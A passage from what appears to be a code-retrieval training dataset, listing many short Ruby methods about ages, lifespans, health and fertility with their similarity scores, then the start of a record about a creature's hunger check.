"def one_year_passes\n if @age >= 46\n puts \"The orange tree has died at the age of #{@age}\"\n exit\n end\n @age +=1\n @height += 0.8\n\n if fruit_bearing?\n @bears_fruit = true\n end\n puts \"All the oranges from last season has fallen off during the cold winter\"\n puts \"But new oranges sprout again this summer\"\n # Add an random amount of fruit\n if @bears_fruit\n if @age < 10\n @oranges = 38+rand(10)\n elsif @age < 40 and @age >=10\n @oranges = 70+rand(24)\n else\n @oranges = rand(40)\n end\n end\n end",
"def under_13?\n age.nil? || age.to_i < 13\n end",
"def can_drink?\n @age >= 21\n end",
"def checkAge birthyear, age\r\n\treturn (age..age+1) === (Time.new.year - birthyear) \r\nend",
"def valid_age\n\t\treturn true if self.student == nil || self.section == nil\n\t\tunless self.student.age >= self.section.min_age && self.student.age <= self.section.max_age\n\t\t\terrors.add(:student, \"does not have the appropriate age to be registered\")\n\t\tend\n\tend",
"def dead?\n lifespan < 0.0\n end",
"def overage(age)\n\tif age >= 21\n\t\tputs \"You can come right in\"\n\telse\n\t\tputs \"Sorry pal you ain't getting in\"\n\tend\nend",
"def too_old\r\n\r\n\t\tif @height > 150\r\n\t\t\t\tputs \"There comes a time in person's life when you have to let go of childish fancies such as orange trees. That time has sadly come. Many good times were had and oranges ate. Fairwell dear \" + @name + \". We'll never forget you.\"\r\n\t\t\t\t\r\n\t\t\t\texit\r\n\t\telse\r\n\t\tend\r\n\tend",
"def age_test(age, year_born)\n current_year = 2016\n if current_year - year_born == age\n true\n else\n false\n end\nend",
"def age!\r\n @hen_age += 1\r\n 4.times do\r\n if @hen_age > 3\r\n @eggs << Egg.new\r\n @number_of_eggs += 1\r\n end\r\n end\r\n end",
"def is_alive?\n @life_points <= 0\n end",
"def check_age_accuracy(age_to_check, year_to_check)\n\t# calculate birth year based on age\n\tcalculated_year = 2016 - age_to_check\n\n\t# if the claimed year matches the calculated year, the person was not lying. If it does not match, we will assume they were lying.\n\tif calculated_year == year_to_check\n\t\ttelling_the_truth = true\n\telsif calculated_year != year_to_check\n\t\ttelling_the_truth = false\n\tend\nend",
"def over_18?\n\t\tself.date_of_birth <= Date.today - 18.years\n\tend",
"def try( d=0 )\r\n\t\t\t@damaged += d\r\n\t\t\t@damaged = [ 0, @damaged ].max\r\n\t\t\t@damaged = [ @damaged, 20 ].min\r\n\t\t\treturn true if @damaged == 0\r\n\t\t\treturn false if @damaged == 20\r\n\t\t\tch = Die.roll(20)\r\n\t\t\treturn true if ch > @damaged\r\n\t\t\t@damaged = 20\r\n\t\t\treturn false\r\n\t\tend",
"def tenure\n self.years_of_experience > 5 ? true : false\n end",
"def age!\n @age += 1 if @age < 20\n @height += 1 if @height < 15\n grow_orange\n end",
"def hit( damage )\n p_up = rand( charisma )\n if p_up % 9 == 7\n @life += p_up / 4\n puts \"[#{ self.class } magick powers up #{ p_up }!]\"\n end\n @life -= damage\n puts \"[#{ self.class } has died.]\" if @life <= 0\n end",
"def validate_under_age\n self.is_under_age = (self.age < SADHAK_MIN_AGE)\n errors.empty?\n end",
"def make_one_year_older\n @age +=1\n end",
"def adulte?\n Date.civil(Date.today().year, 8, 1).years_ago(18) > self.naissance\n end",
"def celebrate_birthday(age)\n age = @age += 1\n end",
"def dog_years(age)\n\t if age <= 0 && age >= 100\n\t\t puts \"Invalid age. The age should be between 1 and 99\"\n \t elsif age == 1 || age == 2\n \t\t dog_age = age * 10.5\n \t\t puts \"The human age is #{age} and the dog age is #{dog_age}\"\n \t else \n \t\t dog_age = ((age - 2) * 4) + (2 * 10.5) \n \t\t puts \"The human age is #{age} and the dog age is #{dog_age}\"\n \t end\n \t dog_age\n end",
"def attacked(attacker)\n attack = rand(2+attacker.agility)-rand(@agility)\n if attack>0\n @health -= rand(attacker.strength)\n @game.message(self.name + \" suffers \" + attack.to_s + \" damage!\")\n end\n if self.health <= 0\n return true\n else \n return false\n end\n end",
"def can_you_drink(age)\n\tif age.to_i < 21\n\t\tputs \"Nay don't have a beer!\"\n\telse\n\t\tputs \"Yay, have a beer!\"\n\tend\nend",
"def celebrate_birthday(age)\n @age += 1\n end",
"def test_under_age\n\t\tassert_equal true, @user.age(14)\n\tend",
"def make_one_year_older\n @age += 1\n end",
"def age\n today = Time.new\n year = today.year - @date_of_birth.year\n if year < 0\n \"Congratulations!\"\n elsif year == 0\n \"Under a year old!\"\n else\n year - (today.month > @date_of_birth.month || today.month == @date_of_birth.month && today.day >= @date_of_birth.day ? 0 : 1)\n end\n end",
"def oneYearPasses\n\n\t\tfallOff\n\n\t\t@age += 1\n\t\t\n\t\tif @age > @max_age\n\t\t\tdie\n\n\t\telsif @age > 5\n\t\t\tgrowFruit @age\n\t\tend\n\n\t\tgrow\n\tend",
"def age_check(years)\n if years >= 21\n \tputs \"Cool, be right back with that.\"\n end\n\n if years < 21\n \tputs \"You got #{21 - years} years to go, dude.\"\n end\n end",
"def should_flee?(warrior)\n\t\tbad_health = warrior.health < DANGER_HEALTH\n\t\t@took_damage && bad_health\n\tend",
"def celebrate_birthday\r\n\t\t@age +=1\r\n\tend",
"def damaged?\n health < MAX_HEALTH\n end",
"def is_sunk? \n if @life > 0\n return false\n else\n return true\n end\n end",
"def is_adult?(age)\n age>=18\nend",
"def celebrate_birthday(age)\n\t\t@age = age + 1\n\tend",
"def is_of_age? age, minimum_age\n check = (minimun_age.to_i) - (age.to_i)\n check >= 0\nend",
"def check_age\n errors.add(:birthday, \"must be before #{(Date.today - 18.years).strftime('%m/%d/%Y')}\") if age.to_i < 18\n errors.add(:birthday, \"must be after #{(Date.today - 110.years).strftime('%m/%d/%Y')}\") if age.to_i > 110\n end",
"def celebrate_birthday(given_age)\n @age = given_age + 1\n end",
"def alive_in?(year)\n year.between?(@birth_year, @death_year)\n end",
"def person_age_validation\n return unless person && pet_kind\n return unless pet_kind.name == 'Andorinha'\n return unless (person.date_of_birth + 18.years) < Date.today\n\n errors[:person] << I18n.t('activerecord.errors.pet.person_age',\n name: person.name,\n pet_kind: pet_kind.name)\n end",
"def celebrate_birthday\n\t\t@age += 1\n\tend",
"def celebrate_birthday\n\t\t@age += 1\n\tend",
"def validate_age\n if date_of_birth.present? && (date_of_birth > 18.years.ago.to_date || date_of_birth < 100.years.ago.to_date)\n errors.add(:date_of_birth, 'You should be over 18 years old.')\n end\n end",
"def alive?()\n\n @hunger_counter < @hunger_limit\n end",
"def celebrate_birthday\r\n\t\t@age += 1\r\n\tend",
"def age!\n #tree aging code goes here\n @age += 1\n @height += rand(100..400)\n rand(50..100).times {@oranges << Orange.new(rand(10..40))} if @age > FRUIT_SEASON_TIME\n end",
"def serve_drink(age, onBreak)\n if onBreak == false \n if age >= 18\n return true\n end\n else\n if age >= 18\n return false\n end\n end\n\n if age < 18\n return false\n end\nend",
"def celebrate_birthday\r\n @age += 1\r\n end",
"def celebrate_birthday\r\n @age += 1\r\n end",
"def celebrate_birthday\n @age += 1\n end",
"def item_quality_decreases_with_age?(item)\r\n !item_matcher?(item, 'Aged Brie') && !item_matcher?(item, 'Backstage passes to a TAFKAL80ETC concert')\r\n end",
"def test_over_age\n\t\tassert_equal true, @user.age(19)\n\tend",
"def is_a_teenager? age\n age > 12 && age < 20\nend",
"def is_adult?(age)\n age >= 18\nend",
"def check_age\n if @recorder.age >= @rec_show.req_age\n return true\n end\n false\n end",
"def add_creature(name, x, y, sex=nil)\n case rand(2)\n when 0 then sex = :M\n when 1 then sex = :F\n end unless sex\n creat = CreatureGenerator.create(self, name, x, y, sex)\n\n @creatures << creat\n end",
"def oneYearPasses\n\n # accidental deaths\n if rand < 0.08\n @dead = true\n case rand(3)\n when 0\n return 'Your tree was struck by a bolt of lightning and died!'\n when 1\n return 'The orange tree was infected by a plague and you couldn\\'t ' +\n 'cure it.'\n else\n return 'Your neighbor accidentally bumped into your tree with his ' +\n 'truck and killed it'\n end\n end\n\n # age-related deaths; minimum age is 3, more likely do die when older,\n # cannot live past 12 years\n if !@dead && age > rand(10) + 2\n @dead = true\n if rand < 0.5\n return 'Your tree is too old and fell over'\n else\n return 'The orange tree withered and died'\n end\n end\n\n @age += 1\n @height += 8 + rand(8)\n oldOranges = @oranges\n # grow oranges after 2 years\n @oranges = age + rand(age / 2) if @age > 2\n return \"#{oldOranges} orange#{(oldOranges == 1)? '' : 's'} fell to the\" +\n ' ground because you didn\\'t pick ' +\n \"#{(oldOranges == 1)? 'it' : 'them'}\" if oldOranges > 0\n return 'Another year went by with nothing happening'\n\n end",
"def hungry?\n return (@hunger > @max_health/2)\n end",
"def celebrate_birthday(age)\n\t\t\tage = @age\n\t\t\tage + 1\n\t\tend",
"def age!\n 4.times {@egg << Egg.new( @hatched_hour )} if @age > 1\n @age += 1\n #p \"age! #{@age} eggs -> #{@egg.length}\"\n @age\n end"
] |
[
"0.6399961",
"0.63615847",
"0.6212811",
"0.60780495",
"0.60689574",
"0.60213107",
"0.5997589",
"0.595466",
"0.5889478",
"0.5887682",
"0.5877463",
"0.58593535",
"0.5821057",
"0.5795861",
"0.5787952",
"0.57857525",
"0.5761596",
"0.573856",
"0.57152367",
"0.56787217",
"0.56705564",
"0.5665389",
"0.5658655",
"0.5653202",
"0.5643536",
"0.5643536",
"0.56188744",
"0.5612071",
"0.5579327",
"0.55554605",
"0.5543778",
"0.5537553",
"0.5532015",
"0.55308455",
"0.552907",
"0.5527918",
"0.5527683",
"0.5510488",
"0.5495265",
"0.54866296",
"0.5484979",
"0.54830986",
"0.5479805",
"0.5474895",
"0.54572606",
"0.5456119",
"0.5454773",
"0.54517484",
"0.5447266",
"0.5447159",
"0.5445852",
"0.5444482",
"0.5437902",
"0.5435912",
"0.54189163",
"0.54125285",
"0.5410327",
"0.54102415",
"0.5404676",
"0.5400949",
"0.5393423",
"0.5387177",
"0.5376395",
"0.53743297",
"0.5371476",
"0.5370508",
"0.5364902",
"0.535768",
"0.53570855",
"0.5354836",
"0.5352617",
"0.53422314",
"0.53358984",
"0.53348655",
"0.5327056",
"0.5325403",
"0.53223556",
"0.53211826",
"0.5319325",
"0.5314769",
"0.53128177",
"0.53128177",
"0.5311502",
"0.5310504",
"0.53096986",
"0.5309325",
"0.52927506",
"0.5284367",
"0.5284367",
"0.52824193",
"0.52811724",
"0.5279452",
"0.5275515",
"0.52625144",
"0.52597296",
"0.525148",
"0.52409816",
"0.52370775",
"0.5233929",
"0.52316606"
] |
0.718269
|
0
|
Checks whether the creature is in reproduction age and out of infertility periods
|
def fertile?
a = @age.to_f/@max_age.to_f
if $log
$log.debug("#{@sex} is of age #{a}, infertility is #{@infertility}")
end
if a.between?(0.25, 0.75) && @infertility == 0
return true
else
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def probably_dead?\n self.date_of_death.present? ||\n (self.date_of_birth.present? &&\n Date.today.year - self.birth_date.year > 90)\n end",
"def probably_dead?\n definitely_dead = !death_date.nil?\n no_record = !definitely_dead && birth_date.nil?\n age = Date.today.year - (birth_date&.year || 0)\n definitely_dead || no_record || age > 90\n end",
"def is_dead?\n @lifespan < 0.0\n end",
"def is_dead?\n @lifespan < 0.0\n end",
"def should_patient_go_lab_examination_at_followup?\n first_dispensation = Encounter.joins(:type).where(\n 'encounter_type.name = ? AND encounter.patient_id = ? AND encounter.program_id = ?',\n DISPENSING,\n @patient.patient_id,\n @program.program_id\n ).order(encounter_datetime: :asc).first\n\n begin\n first_dispensation_date = first_dispensation.encounter_datetime\n number_of_days = (Time.current.to_date - first_dispensation_date.to_date).to_i\n (number_of_days == 56 || number_of_days == 84 || number_of_days == 140 || number_of_days == 168)\n rescue StandardError\n false\n end\n end",
"def loose?\n return true if budget.actual_earnings < 0\n return true if simulator.initial_budget and budget.total_used > 1.25 * simulator.initial_budget\n return true if simulator.actual_duration and simulator.actual_duration > 1.25 * simulator.original_duration\n return true if simulator.day and simulator.day > simulator.actual_duration\n false\n end",
"def age_checker\n\t\tif @age > 3\n\t\t\tputs \"These have expired and may have degraded\"\n\t\tend\n\tend",
"def legal?\n age >= LEGAL_DRIVING_AGE\n end",
"def is_dead?\n @life <= 0\n end",
"def is_dead?\n is_dead = !death_event.nil?\n if (!is_dead)\n date_was_born = earliest_known_birthdate\n is_dead = (!date_was_born.nil? && date_was_born < (120.years.ago).to_date)\n end\n return is_dead\n end",
"def take_age\n @age += 1\n @infertility -= 1 if @infertility > 0\n @hunger += 1\n\n if @age > @max_age\n return false\n end\n\n return true\n end",
"def deadline_over?(risk_register)\n return date_difference(Date.today, risk_register.target_date) < 0\n end",
"def patient_is_under_five?\n person = Person.find_by(person_id: @patient.patient_id)\n ((Time.zone.now - person.birthdate.to_time) / 1.year.seconds).floor < UNDER_FIVE_AGE_LIMIT\n end",
"def valid?\n return false if !@expmonth.nil? && @expmonth > 12\n return false if !@expmonth.nil? && @expmonth < 1\n return false if !@expyear.nil? && @expyear > 2100\n return false if !@expyear.nil? && @expyear < 2000\n true\n end",
"def is_sunk? \n if @life > 0\n return false\n else\n return true\n end\n end",
"def lost?\n @life <=0\n end",
"def waits_for_actual_attestation?\n !index.final_exam_passed? &&\n !attested_for?(Attestation.actual_for_faculty(index.student.faculty))\n end",
"def legal?\n @age >= LEGAL_AGE\n end",
"def continuious_overstay?\n no_days_continuous_in_schengen > 90\n end",
"def adulte?\n Date.civil(Date.today().year, 8, 1).years_ago(18) > self.naissance\n end",
"def can_expedite?\n seconds.count >= seconds_for_expedition\n end",
"def dead?\n lifespan < 0.0\n end",
"def valid?\n duration >= 0 && initial_pop_size >= 0 && max_offsprings >= 0\n end",
"def tenure\n self.years_of_experience > 5 ? true : false\n end",
"def timeline_eq_50_pc?(risk_register)\n created_at = Date.parse(risk_register.created_at.strftime(\"%Y-%m-%d\"))\n target_date = risk_register.target_date\n today = Date.today\n \n timeline = date_difference(created_at, target_date)\n remaining_days = date_difference(today, target_date)\n \n fifty_pc = timeline * 0.5\n eighty_pc = timeline - (timeline * 0.8)\n \n return remaining_days <= fifty_pc && remaining_days > eighty_pc && !risk_register.fifty_pc?\n end",
"def is_alive?\n @life_points <= 0\n end",
"def dead?\n @age >= 25\n end",
"def verify_age(age, year_ob)\r\n #Example, if a person is born on July 2006, and the current date is Jan. 2016\r\n #the person is 9 years old, not 10. We need to account for this small error.\r\n if (Time.now.year - year_ob) - age > 1\r\n return false\r\n end\r\n\r\n return true\r\nend",
"def tenure\n self.years_of_experience > 5\n end",
"def check_age_accuracy(age_to_check, year_to_check)\n\t# calculate birth year based on age\n\tcalculated_year = 2016 - age_to_check\n\n\t# if the claimed year matches the calculated year, the person was not lying. If it does not match, we will assume they were lying.\n\tif calculated_year == year_to_check\n\t\ttelling_the_truth = true\n\telsif calculated_year != year_to_check\n\t\ttelling_the_truth = false\n\tend\nend",
"def pre_claim?\n return false if filing_date.blank?\n\n filing_days_old = (Time.zone.today - filing_date).to_i.days\n\n # If the filing date is 365 days old or older then true (used for showing the claim)\n (filing_days_old <= Rails.configuration.x.returns.amendable_days)\n end",
"def eligible?\n\t\tyear = DateTime.now.year\n\t\tself.graduation_year >= year && self.graduation_year <= year + 3\n\tend",
"def date_is_not_ancient?(date)\n date > Date.new(1900)\n end",
"def in_force?\n if self.effective_date.nil?\n false\n elsif self.termination_date.nil?\n Date.today >= effective_date\n else\n Date.today >= effective_date and Date.today < termination_date\n end\n end",
"def timeline_gt_80_pc?(risk_register)\n created_at = Date.parse(risk_register.created_at.strftime(\"%Y-%m-%d\"))\n target_date = risk_register.target_date\n today = Date.today\n \n timeline = date_difference(created_at, target_date)\n remaining_days = date_difference(today, target_date)\n \n eighty_pc = timeline - (timeline * 0.8)\n \n return remaining_days <= eighty_pc && remaining_days >= 0\n end",
"def peutAider?\n return Date.today().years_ago(13) > self.naissance\n end",
"def aMoinsDeQuinzeAns?\n Date.civil(Date.today().year, 8, 1).years_ago(15) < self.naissance\n end",
"def on_over_trial_days?\n result = false\n if self.last_grade and self.grades.length >= self.trial_days_total\n result = true\n end\n return result\n end",
"def valid_test_taking()\n if current_user.tenant.pricing_plan.plan_group == \"assessment_only_plan\" then\n if current_user.tenant.remaining_learner_credit > 0 then\n return true\n else\n return false\n end\n else\n return true\n end\n end",
"def may_advance_to_next_round?\n case self.performance.contest.round\n when 1\n # Check for sufficient age\n return false if [\"Ia\", \"Ib\"].include?(self.age_group)\n when 2\n # Conditions for second round\n return false if [\"Ia\", \"Ib\", \"II\"].include?(self.age_group)\n end\n\n return (self.points && self.points >= 23) # Basic condition is 23 or more points\n end",
"def check_age\n if @recorder.age >= @rec_show.req_age\n return true\n end\n false\n end",
"def dead_account?\n recipes.count == 0 && (Time.now - created_at) > 3.months\n end",
"def visa_date_overstay?\n return false unless visa_required?\n visa = schengen_visa\n return true unless visa\n exit_date > visa.end_date\n end",
"def guard_defeated?\n return true if @goal_was_occupied\n guard_mission.squads.each do |squad|\n return false if not squad.annihilated? and not squad.retreated_from_fortress and squad.entried\n end\n return true\n end",
"def over_the_hill?\n return false if @age < 40\n true\n end",
"def has_early_replacement_assets?\n sogr? && !notional? && !transit_assets.joins(:transam_asset).where(\"policy_replacement_year is not NULL and scheduled_replacement_year is not NULL and scheduled_replacement_year < policy_replacement_year\").empty?\n end",
"def game_over?\n @life <= 0\nend",
"def has_early_replacement_assets?\n sogr? && !notional? && !activity_line_items.joins(:assets).where(\"policy_replacement_year is not NULL and scheduled_replacement_year is not NULL and scheduled_replacement_year < policy_replacement_year\").empty?\n end",
"def checkAge birthyear, age\r\n\treturn (age..age+1) === (Time.new.year - birthyear) \r\nend",
"def passed_sex_offender_check?\n return false if sex_offender_check_result.nil?\n valid_length = Customer.current_customer.background_check_validity_length || 0\n return true if valid_length < 0\n return false if (sex_offender_check_run_at.nil? || sex_offender_check_run_at < valid_length.days.ago)\n sex_offender_check_result.include?(\"OK\") || sex_offender_check_result.include?(\"NO RECORD FOUND\")\n end",
"def experienced?(candidate)\n experience = candidate[:years_of_experience]\n if experience >= 2\n true\n else\n false\n end\nend",
"def eligibleRecu(annee = Date.today().year)\n Date.civil(annee, 1, 1).years_ago(16) <= self.naissance\n end",
"def trial_over?\n unless self.trial_started_at.blank?\n return Time.now - APP_CONFIG['trial_length'].days > self.trial_started_at\n else\n return false\n end\n end",
"def absolved?(date = Date.today)\n disert_theme && disert_theme.defense_passed?(date.to_date)\n end",
"def check_schedule(range_of_days)\n\tif 1 > range_of_days.to_i\n\t\traise \"The schedule of the diary must last for at least one day.\"\n\telsif 40 < range_of_days.to_i\n\t\traise \"Save paper! Don't generate schedule for >40 days.\"\n\tend\n\t\n\t# Set the duration of the food diary\n\t$duration = range_of_days.to_i\nend",
"def fraud?\n (frauded.count >= 1) || ((created_at - ad_gen_time) < AD_GEN_LIMIT)\n end",
"def intestate?\n return false if self.matter_type.blank?\n self.matter_type.intestate?\n end",
"def can_procreate_during?(period)\n fertility_range.overlaps? period if (period and fertility_range)\n end",
"def background_check_valid?\n if background_check_date.present?\n background_check_date >= 36.months.ago.midnight\n else\n false\n end\n end",
"def validate_under_age\n self.is_under_age = (self.age < SADHAK_MIN_AGE)\n errors.empty?\n end",
"def validate_negative_times\n return true if (time_type != \"penalty\" && time_type != \"gift_given\") || start.nil? || finish.nil?\n if r = start <= finish\n errors.add(:start, \"must come after finish, for penalties\")\n end\n r\n end",
"def intruder_defeated?\n intruder_mission.squads.each do |squad|\n return false if not squad.annihilated? and not squad.retreated_from_fortress and squad.entried\n end\n return true\n end",
"def check_data_validation\r\n if @tx_interest.text.to_f > 0 and \r\n @tx_interest.text.to_f < 0.1 and\r\n @tx_amount.text.to_i >= 1000 and\r\n @tx_years.text.to_i >= 1 then\r\n tf = true\r\n else\r\n tf = false\r\n end\r\n return tf\r\n end",
"def test_die_roll\n test_company = AssociatesCooperation.new\n test_company.hire(6) # six open positions at start\n employees_before = test_company.roll_call.size\n number_of_employees_to_fire = test_company.die_roll\n test_company.fire(number_of_employees_to_fire)\n employees_after = test_company.roll_call.size\n if employees_after == (employees_before - number_of_employees_to_fire)\n puts \"Test successful: The company fired the number of people that the die roll determined.\"\n return true\n else\n puts \"Test failed: The company did not fire the employees as planned.\"\n return false\n end\n end",
"def race_too_soon?(race_date)\n\t\t# (should be able to pass in training week length for plans that are shorter than 18 weeks)\n\t Date.today > (race_date - 18.weeks)\n end",
"def integrity_check\n start_values = condition.start_values\n generations.each do |g|\n # FIXME -- use the registered fitness function\n if IterativeLearning::FunctionLearning.sum_of_error(g.start_values, start_values) != 0\n return false\n end\n start_values = g.best_task_response\n end\n return true\n end",
"def remind?\n DateTime.now < dt\n end",
"def continues?\n year > specialization.study_length\n end",
"def predicted_deaths\n death_toll = (population * death_multiplier).floor\n print \"#{state} will lose #{death_toll} people in this outbreak\"\n end",
"def alive_in?(year)\n year.between?(@birth_year, @death_year)\n end",
"def daf_trial_length_ignorable?\n daf_retrial_combo_ignorable || @record.claim.hardship?\n end",
"def is_in_the_past? \n departureOnThe > returnOnThe \n end",
"def one_year_passes\n passage_of_time\n puts \"Your #{@type} tree is: #{@age} years old.\" if !@dead\n end",
"def failed? participate\n return participate.continuous_check_in == 0 || participate.updated_at.to_date != Time.now.utc.to_date\nend",
"def hungry?(time_of_day_in_hours)\n if time_of_day_in_hours < 12\n puts \"Me not hungry.\"\n\tfalse\n else\n puts \"Me hungry.\"\n true\n end\nend",
"def valid_eyr?(data)\n return false unless data\n\n 2020 <= data.to_i && data.to_i <= 2030\nend",
"def isAlive?\n time_to_die=@Date_of_death\n actual_time=Chronic.parse(\"now\")\n if actual_time > time_to_die \n puts \"Votre tama est mort\"\n return false\n else\n puts \"Votre tama est vivant\"\n return true\n end\n end",
"def experienced?(candidate)\n candidate[:years_of_experience] >= 2\nend",
"def recovered?\n date = self.arrival_date\n rec_date = self.recovery_date\n if rec_date == nil\n \"Not Recovered\"\n elsif date > rec_date\n \"Not Recovered\"\n else\n a = Date.parse(\"#{date}\")\n b = Date.parse(\"#{rec_date }\")\n c = b.mjd - a.mjd\n \"#{rec_date.month}/#{rec_date.day}/#{rec_date.year} | #{c} day\"\n end\n end",
"def must_not_be_overdue\n\t\tif self.profile.state == 'Overdue'\n\t\t\terrors.add(:base, \"This person has unpaid charges.\")\n\t\tend\n\tend",
"def is_still_ongoing?\n if player1.life_point>0 #&& enemies_in_sight.size>0\n true\n else\n false\n end\n end",
"def verify_weekend_warrior(badge_user,expected_earned_date,expected_total_warrior_badges,reason)\n warrior = badge_user.badges.reload.detect{|b|b.badge_key==Badge::WeekendWarrior && b.earned_date == expected_earned_date} \n if warrior\n if badge_user.badges.select{|b|b.badge_key==Badge::WeekendWarrior}.size == expected_total_warrior_badges\n # bacon pancaaaaaaaaakes\n return true\n else\n puts \"boo! weekend warrior badge doesn't work! (#{reason}) badges below\"\n puts y(badge_user.badges)\n return false\n end\n else\n puts \"boo! weekend warrior badge doesn't work! (#{reason}, badge not earned for #{expected_earned_date}). badges below\"\n puts y(badge_user.badges)\n return false\n end\nend",
"def test_non_member_registering_early_bird\n\t\tnon_member = Enrollments.new(:participantID => participants(:non_member_one).participantID,:courseID => \"run12345\", :startDate => '2013-10-18' )\n\t\t\n\t\t# Checking if the member exists by the expiry date to be greater than tomorrow's date, but if nil or expired date, then participant is not a member\n\t\tassert_nil participants(:non_member_one).expirydate, \"Member is not a member\"\n\n\t\tearly_bird_last_date = '2013-11-01'\n\n\t\t#Date.today since creating the enrollment will of today\n\t\tassert_operator Date.today, :<, Date.parse(early_bird_last_date), \"Member registered too late for early bird\"\n\tend",
"def due?\n super && !violations.empty?\n end",
"def valid?\n tally = Hash.new(0)\n tally[:xxx] = 1\n \n 5.times do |u|\n 5.times do |h|\n if !@solution[h][u].nil?\n tally[@solution[h][u]] += 1\n end\n end\n return true if tally.values.max < 2\n end\n puts \"invalid: #{tally.inspect}\"\n puts self.to_s\n return false\n end",
"def not_too_young?\n if date_of_birth.present?\n if date_of_birth > Time.now.strftime(\"%Y\").to_i\n errors.add(:date_of_birth, \"can't be greater than the actual year\")\n end\n end\n end",
"def experienced?(candidate)\n candidate[:years_of_experience] >= 2\nend",
"def time_out?\n if @tiempo >= 11\n true\n else\n false\n end\n end",
"def predicted_deaths\n # predicted deaths is solely based on population density\n @number_of_deaths = if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end",
"def predicted_deaths\n multiplier = 0\n if @population_density >= 200\n multiplier = 0.4\n elsif @population_density >= 150\n multiplier = 0.3\n elsif @population_density >= 100\n multiplier = 0.2\n elsif @population_density >= 50\n multiplier = 0.1\n else\n multiplier = 0.05\n end\n number_of_deaths = (@population * multiplier).floor\n # end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end",
"def date_of_birth_error_present?\n wait_for(5) { displayed?(DATE_OF_BIRTH_ERROR) }\n end",
"def needs_restart?\n return false if !profile or profile.restart_freq == 0\n # Age is given in seconds - 86400 seconds to a day\n return age / 86400 > profile.restart_freq\n end",
"def predicted_deaths\n # predicted deaths is solely based on population density\n \n density = [200, 150, 100, 50, 0]\n multiplier = [0.4, 0.3, 0.2, 0.1, 0.05]\n density.length.times do |x|\n @population_density >= density[x]\n @number_of_deaths = (@population * multiplier[x]).floor \n end\n# if @population_density >= 200\n# number_of_deaths = (@population * 0.4).floor\n# elsif @population_density >= 150\n# number_of_deaths = (@population * 0.3).floor\n# elsif @population_density >= 100\n# number_of_deaths = (@population * 0.2).floor\n# elsif @population_density >= 50\n# number_of_deaths = (@population * 0.1).floor\n# else\n# number_of_deaths = (@population * 0.05).floor\n# end\n\n print \"#{@state} will lose #{@number_of_deaths} people in this outbreak\"\n\n end",
"def predicted_deaths\r\n\r\n number_of_deaths = (population * 0.05).floor\r\n \r\n 4.times do |i|\r\n if population_density >= 50*(i+1)\r\n number_of_deaths = (population * 0.1*(i+1)).floor\r\n end\r\n end\r\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end",
"def not_very_effective?\n @effectiveness > 0 && @effectiveness < 1\n end",
"def check_age(launchtime)\n now = Time.now.to_i\n launchtime = launchtime.to_i\n diff = now - launchtime\n\n if diff >= 172800\n return '2-day'\n elsif diff >= 86400\n return '1-day'\n end\nend",
"def is_alive?\n @alive = false if Dates.is_greatter(@last_wash, @limit_wash)\n @alive = false if Dates.is_greatter(@last_food, @limit_food)\n return @alive\n end",
"def experienced?(candidate) \n if((candidate[:years_of_experience] >= 2) === true)\n true\n else\n false\n end\nend",
"def predicted_deaths\n # predicted deaths is solely based on population density\n if @range != 5.0\n number_of_deaths = (@population * (0.5-(@range/10.0))).floor\n else number_of_deaths = (@population * (@range/100)).floor\n end\n\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end",
"def patient_does_not_have_dispensation?\n encounter_type = EncounterType.find_by name:DISPENSING\n encounter = Encounter.joins(:type).where(\n 'patient_id = ? AND encounter_type = ? AND DATE(encounter_datetime) = DATE(?)',\n @patient.patient_id, encounter_type.encounter_type_id, @date\n ).order(encounter_datetime: :desc).first\n\n encounter.blank?\n end",
"def experience?(candidates)\n candidates[:years_of_experience] >= 2\nend"
] |
[
"0.6464342",
"0.6413438",
"0.62566745",
"0.62566745",
"0.6214962",
"0.6184015",
"0.6173121",
"0.61007816",
"0.6080041",
"0.60637105",
"0.60624135",
"0.6054979",
"0.60515356",
"0.60401696",
"0.60080737",
"0.59807086",
"0.59795046",
"0.59740806",
"0.5968689",
"0.596615",
"0.59246415",
"0.5906918",
"0.5889144",
"0.5874615",
"0.58609563",
"0.58302355",
"0.58258754",
"0.5808724",
"0.5806349",
"0.5803171",
"0.5802595",
"0.5800691",
"0.58006454",
"0.5800442",
"0.5794008",
"0.5774471",
"0.5763035",
"0.57625693",
"0.5754498",
"0.57378906",
"0.57294106",
"0.5729244",
"0.5708874",
"0.5705185",
"0.56979924",
"0.56875855",
"0.5683218",
"0.56829435",
"0.56787336",
"0.5678049",
"0.56573737",
"0.56446904",
"0.56268996",
"0.5623447",
"0.56183684",
"0.56179804",
"0.560041",
"0.55807793",
"0.557641",
"0.55750704",
"0.5570642",
"0.5560264",
"0.5546394",
"0.5542762",
"0.55410373",
"0.5537161",
"0.5534143",
"0.5531551",
"0.5530042",
"0.5523283",
"0.55201054",
"0.55179304",
"0.5513653",
"0.55063844",
"0.54898554",
"0.54818404",
"0.5479271",
"0.5475397",
"0.54724926",
"0.546943",
"0.5466869",
"0.54666466",
"0.5465275",
"0.5462289",
"0.54547495",
"0.5449827",
"0.54497546",
"0.54484415",
"0.54465157",
"0.5439889",
"0.54378974",
"0.5432095",
"0.54306674",
"0.5424761",
"0.5424481",
"0.5421847",
"0.541981",
"0.5414836",
"0.5414132",
"0.5413815",
"0.54132617"
] |
0.0
|
-1
|
We consider the creature to be hungry when its hunger is superior to its max HP divided by two
|
def hungry?
return (@hunger > @max_health/2)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def heal(h)\n if @health+h > @max_health\n @health = @max_health\n else\n @health += h\n end\n end",
"def heal\n 2.times { super } # or self.helth = [self.helth + 2, MAX_HEALTH].min\n 'Ready for Battle!'\n end",
"def heal!\n @health_remaining = @max_health\n end",
"def hurt?\n\t\t@warrior.health < 20\n\tend",
"def health\n (100 * @health.to_f / @max_health).round(2)\n end",
"def heal\n @mana -= 5\n if @mana < 5\n puts \"You don't have the mana\"\n @health += 0\n else\n @health += 10\n end\n end",
